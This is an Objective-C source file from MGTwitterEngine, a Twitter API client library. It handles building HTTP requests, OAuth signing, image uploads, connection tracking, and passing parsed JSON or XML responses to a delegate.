#define MAX_NAME_LENGTH 20
#define MAX_EMAIL_LENGTH 40
#define MAX_URL_LENGTH 100
#define MAX_LOCATION_LENGTH 30
#define MAX_DESCRIPTION_LENGTH 160
#define DEFAULT_CLIENT_NAME @"MGTwitterEngine"
#define DEFAULT_CLIENT_VERSION @"1.0"
#define DEFAULT_CLIENT_URL @"http://mattgemmell.com/source"
#define DEFAULT_CLIENT_TOKEN @"mgtwitterengine"
#define URL_REQUEST_TIMEOUT 25.0 // Twitter usually fails quickly if it's going to fail at all.
@interface NSDictionary (MGTwitterEngineExtensions)
-(NSDictionary *)MGTE_dictionaryByRemovingObjectForKey:(NSString *)key;
@end
@implementation NSDictionary (MGTwitterEngineExtensions)
-(NSDictionary *)MGTE_dictionaryByRemovingObjectForKey:(NSString *)key{
NSDictionary *result = self;
if(key){
NSMutableDictionary *newParams = [[self mutableCopy] autorelease];
[newParams removeObjectForKey:key];
result = [[newParams copy] autorelease];
}
return result;
}
@end
@interface MGTwitterEngine (PrivateMethods)
// Utility methods
- (NSDateFormatter *)_HTTPDateFormatter;
- (NSString *)_queryStringWithBase:(NSString *)base parameters:(NSDictionary *)params prefixed:(BOOL)prefixed;
- (NSDate *)_HTTPToDate:(NSString *)httpDate;
- (NSString *)_dateToHTTP:(NSDate *)date;
- (NSString *)_encodeString:(NSString *)string;
// Connection/Request methods
- (NSString*)_sendRequest:(NSURLRequest *)theRequest withRequestType:(MGTwitterRequestType)requestType responseType:(MGTwitterResponseType)responseType;
- (NSString *)_sendRequestWithMethod:(NSString *)method
path:(NSString *)path
queryParameters:(NSDictionary *)params
body:(NSString *)body
requestType:(MGTwitterRequestType)requestType
responseType:(MGTwitterResponseType)responseType;
- (NSString *)_sendDataRequestWithMethod:(NSString *)method
path:(NSString *)path
queryParameters:(NSDictionary *)params
filePath:(NSString *)filePath
body:(NSString *)body
requestType:(MGTwitterRequestType)requestType
responseType:(MGTwitterResponseType)responseType;
- (NSMutableURLRequest *)_baseRequestWithMethod:(NSString *)method
path:(NSString *)path
requestType:(MGTwitterRequestType)requestType
queryParameters:(NSDictionary *)params;
// Parsing methods
- (void)_parseDataForConnection:(MGTwitterHTTPURLConnection *)connection;
// Delegate methods
- (BOOL) _isValidDelegateForSelector:(SEL)selector;
@end
@implementation MGTwitterEngine
#pragma mark Constructors
+ (MGTwitterEngine *)twitterEngineWithDelegate:(NSObject *)theDelegate
{
return [[[self alloc] initWithDelegate:theDelegate] autorelease];
}
- (MGTwitterEngine *)initWithDelegate:(NSObject *)newDelegate
{
if ((self = [super init])) {
_delegate = newDelegate; // deliberately weak reference
_connections = [[NSMutableDictionary alloc] initWithCapacity:0];
_clientName = [DEFAULT_CLIENT_NAME retain];
_clientVersion = [DEFAULT_CLIENT_VERSION retain];
_clientURL = [DEFAULT_CLIENT_URL retain];
_clientSourceToken = [DEFAULT_CLIENT_TOKEN retain];
_APIDomain = [TWITTER_DOMAIN retain];
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
_searchDomain = [TWITTER_SEARCH_DOMAIN retain];
#endif
_secureConnection = YES;
_clearsCookies = NO;
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
_deliveryOptions = MGTwitterEngineDeliveryAllResultsOption;
#endif
}
return self;
}
- (void)dealloc
{
_delegate = nil;
[[_connections allValues] makeObjectsPerformSelector:@selector(cancel)];
[_connections release];
[_username release];
[_password release];
[_clientName release];
[_clientVersion release];
[_clientURL release];
[_clientSourceToken release];
[_APIDomain release];
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
[_searchDomain release];
#endif
[super dealloc];
}
#pragma mark Configuration and Accessors
+ (NSString *)version
{
// 1.0.0 = 22 Feb 2008
// 1.0.1 = 26 Feb 2008
// 1.0.2 = 04 Mar 2008
// 1.0.3 = 04 Mar 2008
// 1.0.4 = 11 Apr 2008
// 1.0.5 = 06 Jun 2008
// 1.0.6 = 05 Aug 2008
// 1.0.7 = 28 Sep 2008
// 1.0.8 = 01 Oct 2008
return @"1.0.8";
}
- (NSString *)clientName
{
return [[_clientName retain] autorelease];
}
- (NSString *)clientVersion
{
return [[_clientVersion retain] autorelease];
}
- (NSString *)clientURL
{
return [[_clientURL retain] autorelease];
}
- (NSString *)clientSourceToken
{
return [[_clientSourceToken retain] autorelease];
}
- (void)setClientName:(NSString *)name version:(NSString *)version URL:(NSString *)url token:(NSString *)token;
{
[_clientName release];
_clientName = [name retain];
[_clientVersion release];
_clientVersion = [version retain];
[_clientURL release];
_clientURL = [url retain];
[_clientSourceToken release];
_clientSourceToken = [token retain];
}
- (NSString *)APIDomain
{
return [[_APIDomain retain] autorelease];
}
- (void)setAPIDomain:(NSString *)domain
{
[_APIDomain release];
if (!domain || [domain length] == 0) {
_APIDomain = [TWITTER_DOMAIN retain];
} else {
_APIDomain = [domain retain];
}
}
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
- (NSString *)searchDomain
{
return [[_searchDomain retain] autorelease];
}
- (void)setSearchDomain:(NSString *)domain
{
[_searchDomain release];
if (!domain || [domain length] == 0) {
_searchDomain = [TWITTER_SEARCH_DOMAIN retain];
} else {
_searchDomain = [domain retain];
}
}
#endif
- (BOOL)usesSecureConnection
{
return _secureConnection;
}
- (void)setUsesSecureConnection:(BOOL)flag
{
_secureConnection = flag;
}
- (BOOL)clearsCookies
{
return _clearsCookies;
}
- (void)setClearsCookies:(BOOL)flag
{
_clearsCookies = flag;
}
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
- (MGTwitterEngineDeliveryOptions)deliveryOptions
{
return _deliveryOptions;
}
- (void)setDeliveryOptions:(MGTwitterEngineDeliveryOptions)deliveryOptions
{
_deliveryOptions = deliveryOptions;
}
#endif
#pragma mark Connection methods
- (NSUInteger)numberOfConnections
{
return [_connections count];
}
- (NSArray *)connectionIdentifiers
{
return [_connections allKeys];
}
- (void)closeConnection:(NSString *)connectionIdentifier
{
MGTwitterHTTPURLConnection *connection = [_connections objectForKey:connectionIdentifier];
if (connection) {
[connection cancel];
[_connections removeObjectForKey:connectionIdentifier];
if ([self _isValidDelegateForSelector:@selector(connectionFinished:)])
[_delegate connectionFinished:connectionIdentifier];
}
}
- (void)closeAllConnections
{
[[_connections allValues] makeObjectsPerformSelector:@selector(cancel)];
[_connections removeAllObjects];
}
#pragma mark Utility methods
- (NSDateFormatter *)_HTTPDateFormatter
{
// Returns a formatter for dates in HTTP format (i.e. RFC 822, updated by RFC 1123).
// e.g. "Sun, 06 Nov 1994 08:49:37 GMT"
NSDateFormatter *dateFormatter = [[[NSDateFormatter alloc] init] autorelease];
//[dateFormatter setDateFormat:@"%a, %d %b %Y %H:%M:%S GMT"]; // won't work with -init, which uses new (unicode) format behaviour.
[dateFormatter setFormatterBehavior:NSDateFormatterBehavior10_4];
[dateFormatter setDateFormat:@"EEE, dd MMM yyyy HH:mm:ss GMT"];
return dateFormatter;
}
- (NSString *)_queryStringWithBase:(NSString *)base parameters:(NSDictionary *)params prefixed:(BOOL)prefixed
{
// Append base if specified.
NSMutableString *str = [NSMutableString stringWithCapacity:0];
if (base) {
[str appendString:base];
}
// Append each name-value pair.
if (params) {
NSUInteger i;
NSArray *names = [params allKeys];
for (i = 0; i < [names count]; i++) {
if (i == 0 && prefixed) {
[str appendString:@"?"];
} else if (i > 0) {
[str appendString:@"&"];
}
NSString *name = [names objectAtIndex:i];
[str appendString:[NSString stringWithFormat:@"%@=%@",
name, [self _encodeString:[params objectForKey:name]]]];
}
}
return str;
}
- (NSDate *)_HTTPToDate:(NSString *)httpDate
{
NSDateFormatter *dateFormatter = [self _HTTPDateFormatter];
return [dateFormatter dateFromString:httpDate];
}
- (NSString *)_dateToHTTP:(NSDate *)date
{
NSDateFormatter *dateFormatter = [self _HTTPDateFormatter];
return [dateFormatter stringFromDate:date];
}
- (NSString *)_encodeString:(NSString *)string
{
NSString *result = (NSString *)CFURLCreateStringByAddingPercentEscapes(NULL,
(CFStringRef)string,
NULL,
(CFStringRef)@";/?:@&=$+{}<>,",
kCFStringEncodingUTF8);
return [result autorelease];
}
- (NSString *)getImageAtURL:(NSString *)urlString
{
// This is a method implemented for the convenience of the client,
// allowing asynchronous downloading of users' Twitter profile images.
NSString *encodedUrlString = [urlString stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
NSURL *url = [NSURL URLWithString:encodedUrlString];
if (!url) {
return nil;
}
// Construct an NSMutableURLRequest for the URL and set appropriate request method.
NSMutableURLRequest *theRequest = [NSMutableURLRequest requestWithURL:url
cachePolicy:NSURLRequestReloadIgnoringCacheData
timeoutInterval:URL_REQUEST_TIMEOUT];
// Create a connection using this request, with the default timeout and caching policy,
// and appropriate Twitter request and response types for parsing and error reporting.
MGTwitterHTTPURLConnection *connection;
connection = [[MGTwitterHTTPURLConnection alloc] initWithRequest:theRequest
delegate:self
requestType:MGTwitterImageRequest
responseType:MGTwitterImage];
if (!connection) {
return nil;
} else {
[_connections setObject:connection forKey:[connection identifier]];
[connection release];
}
if ([self _isValidDelegateForSelector:@selector(connectionStarted:)])
[_delegate connectionStarted:[connection identifier]];
return [connection identifier];
}
#pragma mark Request sending methods
#define SET_AUTHORIZATION_IN_HEADER 0
- (NSString *)_sendRequestWithMethod:(NSString *)method
path:(NSString *)path
queryParameters:(NSDictionary *)params
body:(NSString *)body
requestType:(MGTwitterRequestType)requestType
responseType:(MGTwitterResponseType)responseType
{
NSMutableURLRequest *theRequest = [self _baseRequestWithMethod:method
path:path
requestType:requestType
queryParameters:params];
// Set the request body if this is a POST request.
BOOL isPOST = (method && [method isEqualToString:HTTP_POST_METHOD]);
if (isPOST) {
// Set request body, if specified (hopefully so), with 'source' parameter if appropriate.
NSString *finalBody = @"";
if (body) {
finalBody = [finalBody stringByAppendingString:body];
}
// if using OAuth, Twitter already knows your application's name, so don't send it
if (_clientSourceToken && _accessToken == nil) {
finalBody = [finalBody stringByAppendingString:[NSString stringWithFormat:@"%@source=%@",
(body) ? @"&" : @"" ,
_clientSourceToken]];
}
if (finalBody) {
[theRequest setHTTPBody:[finalBody dataUsingEncoding:NSUTF8StringEncoding]];
#if DEBUG
if (YES) {
NSLog(@"MGTwitterEngine: finalBody = %@", finalBody);
}
#endif
}
}
return [self _sendRequest:theRequest withRequestType:requestType responseType:responseType];
}
-(NSString*)_sendRequest:(NSURLRequest *)theRequest withRequestType:(MGTwitterRequestType)requestType responseType:(MGTwitterResponseType)responseType;
{
// Create a connection using this request, with the default timeout and caching policy,
// and appropriate Twitter request and response types for parsing and error reporting.
MGTwitterHTTPURLConnection *connection;
connection = [[MGTwitterHTTPURLConnection alloc] initWithRequest:theRequest
delegate:self
requestType:requestType
responseType:responseType];
if (!connection) {
return nil;
} else {
[_connections setObject:connection forKey:[connection identifier]];
[connection release];
}
if ([self _isValidDelegateForSelector:@selector(connectionStarted:)])
[_delegate connectionStarted:[connection identifier]];
return [connection identifier];
}
- (NSString *)_sendDataRequestWithMethod:(NSString *)method
path:(NSString *)path
queryParameters:(NSDictionary *)params
filePath:(NSString *)filePath
body:(NSString *)body
requestType:(MGTwitterRequestType)requestType
responseType:(MGTwitterResponseType)responseType
{
NSMutableURLRequest *theRequest = [self _baseRequestWithMethod:method
path:path
requestType:requestType
queryParameters:params];
BOOL isPOST = (method && [method isEqualToString:HTTP_POST_METHOD]);
if (isPOST) {
NSString *boundary = @"0xKhTmLbOuNdArY";
NSString *filename = [filePath lastPathComponent];
NSData *imageData = [NSData dataWithContentsOfFile:filePath];
NSString *bodyPrefixString = [NSString stringWithFormat:@"--%@\r\n", boundary];
NSString *bodySuffixString = [NSString stringWithFormat:@"\r\n--%@--\r\n", boundary];
NSString *contentDisposition = [NSString stringWithFormat:@"Content-Disposition: form-data; name=\"image\"; filename=\"%@\"\r\n", filename];
NSString *contentImageType = [NSString stringWithFormat:@"Content-Type: image/%@\r\n", [filename pathExtension]];
NSString *contentTransfer = @"Content-Transfer-Encoding: binary\r\n\r\n";
NSMutableData *postBody = [NSMutableData data];
[postBody appendData:[bodyPrefixString dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:NO]];
[postBody appendData:[contentDisposition dataUsingEncoding:NSUTF8StringEncoding ]];
[postBody appendData:[contentImageType dataUsingEncoding:NSUTF8StringEncoding ]];
[postBody appendData:[contentTransfer dataUsingEncoding:NSUTF8StringEncoding]];
[postBody appendData:imageData];
[postBody appendData:[bodySuffixString dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:NO]];
[theRequest setHTTPBody:postBody];
NSString *contentType = [NSString stringWithFormat:@"multipart/form-data; boundary=%@", boundary, nil];
[theRequest setValue:contentType forHTTPHeaderField:@"Content-Type"];
}
MGTwitterHTTPURLConnection *connection;
connection = [[MGTwitterHTTPURLConnection alloc] initWithRequest:theRequest
delegate:self
requestType:requestType
responseType:responseType];
if (!connection) {
return nil;
} else {
[_connections setObject:connection forKey:[connection identifier]];
[connection release];
}
if ([self _isValidDelegateForSelector:@selector(connectionStarted:)])
[_delegate connectionStarted:[connection identifier]];
return [connection identifier];
}
#pragma mark Base Request
- (NSMutableURLRequest *)_baseRequestWithMethod:(NSString *)method
path:(NSString *)path
requestType:(MGTwitterRequestType)requestType
queryParameters:(NSDictionary *)params
{
NSString *contentType = [params objectForKey:@"Content-Type"];
if(contentType){
params = [params MGTE_dictionaryByRemovingObjectForKey:@"Content-Type"];
}else{
contentType = @"application/x-www-form-urlencoded";
}
// Construct appropriate URL string.
NSString *fullPath = [path stringByAddingPercentEscapesUsingEncoding:NSNonLossyASCIIStringEncoding];
if (params && ![method isEqualToString:HTTP_POST_METHOD]) {
fullPath = [self _queryStringWithBase:fullPath parameters:params prefixed:YES];
}
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
NSString *domain = nil;
NSString *connectionType = nil;
if (requestType == MGTwitterSearchRequest || requestType == MGTwitterSearchCurrentTrendsRequest)
{
domain = _searchDomain;
connectionType = @"http";
}
else
{
domain = _APIDomain;
if (_secureConnection)
{
connectionType = @"https";
}
else
{
connectionType = @"http";
}
}
#else
NSString *domain = _APIDomain;
NSString *connectionType = nil;
if (_secureConnection)
{
connectionType = @"https";
}
else
{
connectionType = @"http";
}
#endif
#if 1 // SET_AUTHORIZATION_IN_HEADER
NSString *urlString = [NSString stringWithFormat:@"%@://%@/%@",
connectionType,
domain, fullPath];
#else
NSString *urlString = [NSString stringWithFormat:@"%@://%@:%@@%@/%@",
connectionType,
[self _encodeString:_username], [self _encodeString:_password],
domain, fullPath];
#endif
NSURL *finalURL = [NSURL URLWithString:urlString];
if (!finalURL) {
return nil;
}
#if DEBUG
if (YES) {
NSLog(@"MGTwitterEngine: finalURL = %@", finalURL);
}
#endif
// Construct an NSMutableURLRequest for the URL and set appropriate request method.
NSMutableURLRequest *theRequest = nil;
if(_accessToken){
theRequest = [[[OAMutableURLRequest alloc] initWithURL:finalURL
consumer:[[[OAConsumer alloc] initWithKey:[self consumerKey]
secret:[self consumerSecret]] autorelease]
token:_accessToken
realm:nil
signatureProvider:nil] autorelease];
[theRequest setCachePolicy:NSURLRequestReloadIgnoringCacheData ];
[theRequest setTimeoutInterval:URL_REQUEST_TIMEOUT];
}else{
theRequest = [NSMutableURLRequest requestWithURL:finalURL
cachePolicy:NSURLRequestReloadIgnoringCacheData
timeoutInterval:URL_REQUEST_TIMEOUT];
}
if (method) {
[theRequest setHTTPMethod:method];
}
[theRequest setHTTPShouldHandleCookies:NO];
// Set headers for client information, for tracking purposes at Twitter.
[theRequest setValue:_clientName forHTTPHeaderField:@"X-Twitter-Client"];
[theRequest setValue:_clientVersion forHTTPHeaderField:@"X-Twitter-Client-Version"];
[theRequest setValue:_clientURL forHTTPHeaderField:@"X-Twitter-Client-URL"];
[theRequest setValue:contentType forHTTPHeaderField:@"Content-Type"];
#if SET_AUTHORIZATION_IN_HEADER
if ([self username] && [self password]) {
// Set header for HTTP Basic authentication explicitly, to avoid problems with proxies and other intermediaries
NSString *authStr = [NSString stringWithFormat:@"%@:%@", [self username], [self password]];
NSData *authData = [authStr dataUsingEncoding:NSUTF8StringEncoding];
NSString *authValue = [NSString stringWithFormat:@"Basic %@", [authData base64EncodingWithLineLength:80]];
[theRequest setValue:authValue forHTTPHeaderField:@"Authorization"];
}
#endif
return theRequest;
}
#pragma mark Parsing methods
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
- (void)_parseDataForConnection:(MGTwitterHTTPURLConnection *)connection
{
NSData *jsonData = [[[connection data] copy] autorelease];
NSString *identifier = [[[connection identifier] copy] autorelease];
MGTwitterRequestType requestType = [connection requestType];
MGTwitterResponseType responseType = [connection responseType];
NSURL *URL = [connection URL];
#if DEBUG
if (NO) {
NSLog(@"MGTwitterEngine: jsonData = %@ from %@", [[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding] autorelease], URL);
}
#endif
#if YAJL_AVAILABLE
switch (responseType) {
case MGTwitterStatuses:
case MGTwitterStatus:
[MGTwitterStatusesYAJLParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
case MGTwitterUsers:
case MGTwitterUser:
[MGTwitterUsersYAJLParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
case MGTwitterDirectMessages:
case MGTwitterDirectMessage:
[MGTwitterMessagesYAJLParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
case MGTwitterMiscellaneous:
[MGTwitterMiscYAJLParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
case MGTwitterSearchResults:
[MGTwitterSearchYAJLParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
case MGTwitterOAuthToken:;
OAToken *token = [[[OAToken alloc] initWithHTTPResponseBody:[[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding] autorelease]] autorelease];
[self parsingSucceededForRequest:identifier ofResponseType:requestType
withParsedObjects:[NSArray arrayWithObject:token]];
break;
default:
break;
}
#elif TOUCHJSON_AVAILABLE
switch (responseType) {
case MGTwitterOAuthToken:;
OAToken *token = [[[OAToken alloc] initWithHTTPResponseBody:[[[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding] autorelease]] autorelease];
[self parsingSucceededForRequest:identifier ofResponseType:requestType
withParsedObjects:[NSArray arrayWithObject:token]];
break;
default:
[MGTwitterTouchJSONParser parserWithJSON:jsonData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL deliveryOptions:_deliveryOptions];
break;
}
#endif
}
#else
- (void)_parseDataForConnection:(MGTwitterHTTPURLConnection *)connection
{
NSString *identifier = [[[connection identifier] copy] autorelease];
NSData *xmlData = [[[connection data] copy] autorelease];
MGTwitterRequestType requestType = [connection requestType];
MGTwitterResponseType responseType = [connection responseType];
#if USE_LIBXML
NSURL *URL = [connection URL];
switch (responseType) {
case MGTwitterStatuses:
case MGTwitterStatus:
[MGTwitterStatusesLibXMLParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL];
break;
case MGTwitterUsers:
case MGTwitterUser:
[MGTwitterUsersLibXMLParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL];
break;
case MGTwitterDirectMessages:
case MGTwitterDirectMessage:
[MGTwitterMessagesLibXMLParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL];
break;
case MGTwitterMiscellaneous:
[MGTwitterMiscLibXMLParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL];
break;
case MGTwitterSocialGraph:
[MGTwitterSocialGraphLibXMLParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType URL:URL];
break;
case MGTwitterOAuthToken:;
OAToken *token = [[[OAToken alloc] initWithHTTPResponseBody:[[[NSString alloc] initWithData:xmlData encoding:NSUTF8StringEncoding] autorelease]] autorelease];
[self parsingSucceededForRequest:identifier ofResponseType:requestType
withParsedObjects:[NSArray arrayWithObject:token]];
default:
break;
}
#else
// Determine which type of parser to use.
switch (responseType) {
case MGTwitterStatuses:
case MGTwitterStatus:
[MGTwitterStatusesParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
break;
case MGTwitterUsers:
case MGTwitterUser:
[MGTwitterUsersParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
break;
case MGTwitterDirectMessages:
case MGTwitterDirectMessage:
[MGTwitterMessagesParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
break;
case MGTwitterMiscellaneous:
[MGTwitterMiscParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
break;
case MGTwitterUserLists:
NSLog(@"response type: %d", responseType);
[MGTwitterUserListsParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
break;
case MGTwitterSocialGraph:
[MGTwitterSocialGraphParser parserWithXML:xmlData delegate:self
connectionIdentifier:identifier requestType:requestType
responseType:responseType];
case MGTwitterOAuthToken:;
OAToken *token = [[[OAToken alloc] initWithHTTPResponseBody:[[[NSString alloc] initWithData:xmlData encoding:NSUTF8StringEncoding] autorelease]] autorelease];
[self parsingSucceededForRequest:identifier ofResponseType:requestType
withParsedObjects:[NSArray arrayWithObject:token]];
default:
break;
}
#endif
}
#endif
#pragma mark Delegate methods
- (BOOL) _isValidDelegateForSelector:(SEL)selector
{
return ((_delegate != nil) && [_delegate respondsToSelector:selector]);
}
#pragma mark MGTwitterParserDelegate methods
- (void)parsingSucceededForRequest:(NSString *)identifier
ofResponseType:(MGTwitterResponseType)responseType
withParsedObjects:(NSArray *)parsedObjects
{
// Forward appropriate message to _delegate, depending on responseType.
NSLog(@"here at parsingSucceededForRequest");
switch (responseType) {
case MGTwitterStatuses:
case MGTwitterStatus:
if ([self _isValidDelegateForSelector:@selector(statusesReceived:forRequest:)])
[_delegate statusesReceived:parsedObjects forRequest:identifier];
break;
case MGTwitterUsers:
case MGTwitterUser:
if ([self _isValidDelegateForSelector:@selector(userInfoReceived:forRequest:)])
[_delegate userInfoReceived:parsedObjects forRequest:identifier];
break;
case MGTwitterDirectMessages:
case MGTwitterDirectMessage:
if ([self _isValidDelegateForSelector:@selector(directMessagesReceived:forRequest:)])
[_delegate directMessagesReceived:parsedObjects forRequest:identifier];
break;
case MGTwitterMiscellaneous:
if ([self _isValidDelegateForSelector:@selector(miscInfoReceived:forRequest:)])
[_delegate miscInfoReceived:parsedObjects forRequest:identifier];
break;
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
case MGTwitterSearchResults:
if ([self _isValidDelegateForSelector:@selector(searchResultsReceived:forRequest:)])
[_delegate searchResultsReceived:parsedObjects forRequest:identifier];
break;
#endif
case MGTwitterSocialGraph:
if ([self _isValidDelegateForSelector:@selector(socialGraphInfoReceived:forRequest:)])
[_delegate socialGraphInfoReceived: parsedObjects forRequest:identifier];
break;
case MGTwitterUserLists:
if ([self _isValidDelegateForSelector:@selector(userListsReceived:forRequest:)])
[_delegate userListsReceived: parsedObjects forRequest:identifier];
break;
case MGTwitterOAuthTokenRequest:
if ([self _isValidDelegateForSelector:@selector(accessTokenReceived:forRequest:)] && [parsedObjects count] > 0)
[_delegate accessTokenReceived:[parsedObjects objectAtIndex:0]
forRequest:identifier];
break;
default:
break;
}
}
- (void)parsingFailedForRequest:(NSString *)requestIdentifier
ofResponseType:(MGTwitterResponseType)responseType
withError:(NSError *)error
{
if ([self _isValidDelegateForSelector:@selector(requestFailed:withError:)])
[_delegate requestFailed:requestIdentifier withError:error];
}
#if YAJL_AVAILABLE || TOUCHJSON_AVAILABLE
- (void)parsedObject:(NSDictionary *)dictionary forRequest:(NSString *)requestIdentifier
ofResponseType:(MGTwitterResponseType)responseType
{
if ([self _isValidDelegateForSelector:@selector(receivedObject:forRequest:)])
[_delegate receivedObject:dictionary forRequest:requestIdentifier];
}
#endif
#pragma mark NSURLConnection delegate methods
- (void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge
{
if (_username && _password && [challenge previousFailureCount] == 0 && ![challenge proposedCredential]) {
NSURLCredential *credential = [NSURLCredential credentialWithUser:_username password:_password
persistence:NSURLCredentialPersistenceForSession];
[[challenge sender] useCredential:credential forAuthenticationChallenge:challenge];
} else {
[[challenge sender] continueWithoutCredentialForAuthenticationChallenge:challenge];
}
}
- (void)connection:(MGTwitterHTTPURLConnection *)connection didReceiveResponse:(NSURLResponse *)response
{
// This method is called when the server has determined that it has enough information to create the NSURLResponse.
// it can be called multiple times, for example in the case of a redirect, so each time we reset the data.
[connection resetDataLength];
// Get response code.
NSHTTPURLResponse *resp = (NSHTTPURLResponse *)response;
[connection setResponse:resp];
NSInteger statusCode = [resp statusCode];
if (statusCode == 304 || [connection responseType] == MGTwitterGeneric) {
// Not modified, or generic success.
if ([self _isValidDelegateForSelector:@selector(requestSucceeded:)])
[_delegate requestSucceeded:[connection identifier]];
if (statusCode == 304) {
[self parsingSucceededForRequest:[connection identifier]
ofResponseType:[connection responseType]
withParsedObjects:[NSArray array]];
}
// Destroy the connection.
[connection cancel];
NSString *connectionIdentifier = [connection identifier];
[_connections removeObjectForKey:connectionIdentifier];
if ([self _isValidDelegateForSelector:@selector(connectionFinished:)])
[_delegate connectionFinished:connectionIdentifier];
}
#if DEBUG
if (NO) {
// Display headers for debugging.
NSHTTPURLResponse *respDebug = (NSHTTPURLResponse *)response;
NSLog(@"MGTwitterEngine: (%ld) [%@]:\r%@",
(long)[resp statusCode],
[NSHTTPURLResponse localizedStringForStatusCode:[respDebug statusCode]],
[respDebug allHeaderFields]);
}
#endif
}
- (void)connection:(MGTwitterHTTPURLConnection *)connection didReceiveData:(NSData *)data
{
// Append the new data to the receivedData.
[connection appendData:data];
}
- (void)connection:(MGTwitterHTTPURLConnection *)connection didFailWithError:(NSError *)error
{
NSString *connectionIdentifier = [connection identifier];
// Inform delegate.
if ([self _isValidDelegateForSelector:@selector(requestFailed:withError:)]){
[_delegate requestFailed:connectionIdentifier
withError:error];
}
// Release the connection.
[_connections removeObjectForKey:connectionIdentifier];
if ([self _isValidDelegateForSelector:@selector(connectionFinished:)])
[_delegate connectionFinished:connectionIdentifier];
}
- (void)connectionDidFinishLoading:(MGTwitterHTTPURLConnection *)connection
{
NSInteger statusCode = [[connection response] statusCode];
if (statusCode >= 400) {
// Assume failure, and report to delegate.
NSData *receivedData = [connection data];
NSString *body = [receivedData length] ? [NSString stringWithUTF8String:[receivedData bytes]] : @"";
NSDictionary *userInfo = [NSDictionary dictionaryWithObjectsAndKeys:
[connection response], @"response",
body, @"body",
nil];
NSError *error = [NSError errorWithDomain:@"HTTP" code:statusCode userInfo:userInfo];
if ([self _isValidDelegateForSelector:@selector(requestFailed:withError:)])
[_delegate requestFailed:[connection identifier] withError:error];
// Destroy the connection.
[connection cancel];
NSString *connectionIdentifier = [connection identifier];
[_connections removeObjectForKey:connectionIdentifier];
if ([self _isValidDelegateForSelector:@selector(connectionFinished:)])
[_delegate connectionFinished:connectionIdentifier];
return;
}
NSString *connID = nil;
MGTwitterResponseType responseType = 0;
connID = [connection identifier];
responseType = [connection responseType];
// Inform delegate.
if ([self _isValidDelegateForSelector:@selector(requestSucceeded:)])
[_delegate requestSucceeded:connID];
NSData *receivedData = [connection data];
if (receivedData) {
#if DEBUG
if (NO) {
// Dump data as string for debugging.
NSString *dataString = [NSString stringWithUTF8String:[receivedData bytes]];
NSLog(@"MGTwitterEngine: Succeeded! Received %lu bytes of data:\r\r%@", (unsigned long)[receivedData length], dataString);
}
if (NO) {
// Dump XML to file for debugging.
NSString *dataString = [NSString stringWithUTF8String:[receivedData bytes]];
[dataString writeToFile:[[NSString stringWithFormat:@"~/Desktop/twitter_messages.%@", API_FORMAT] stringByExpandingTildeInPath]
atomically:NO encoding:NSUnicodeStringEncoding error:NULL];
}
#endif
if (responseType == MGTwitterImage) {
// Create image from data.
#if TARGET_OS_IPHONE
UIImage *image = [[[UIImage alloc] initWithData:[connection data]] autorelease];
#else
NSImage *image = [[[NSImage alloc] initWithData:[connection data]] autorelease];
#endif
// Inform delegate.
if ([self _isValidDelegateForSelector:@selector(imageReceived:forRequest:)])
[_delegate imageReceived:image forRequest:[connection identifier]];
} else {
// Parse data from the connection (either XML or JSON.)
[self _parseDataForConnection:connection];
}
}
// Release the connection.
[_connections removeObjectForKey:connID];
if ([self _isValidDelegateForSelector:@selector(connectionFinished:)])
[_delegate connectionFinished:connID];
}
#pragma mark -
#pragma mark REST API methods
#pragma mark -
#pragma mark Status methods
- (NSString *)getPublicTimeline
{
NSString *path = [NSString stringWithFormat:@"statuses/public_timeline.%@", API_FORMAT];
return [self _sendRequestWithMethod:nil path:path queryParameters:nil body:nil
requestType:MGTwitterPublicTimelineRequest
responseType:MGTwitterStatuses];
}
#pragma mark -
- (NSString *)getHomeTimelineSinceID:(MGTwitterEngineID)sinceID startingAtPage:(int)page count:(int)count; // statuses/home_timeline
{
return [self getHomeTimelineSinceID:sinceID withMaximumID:0 startingAtPage:page count:count];
}
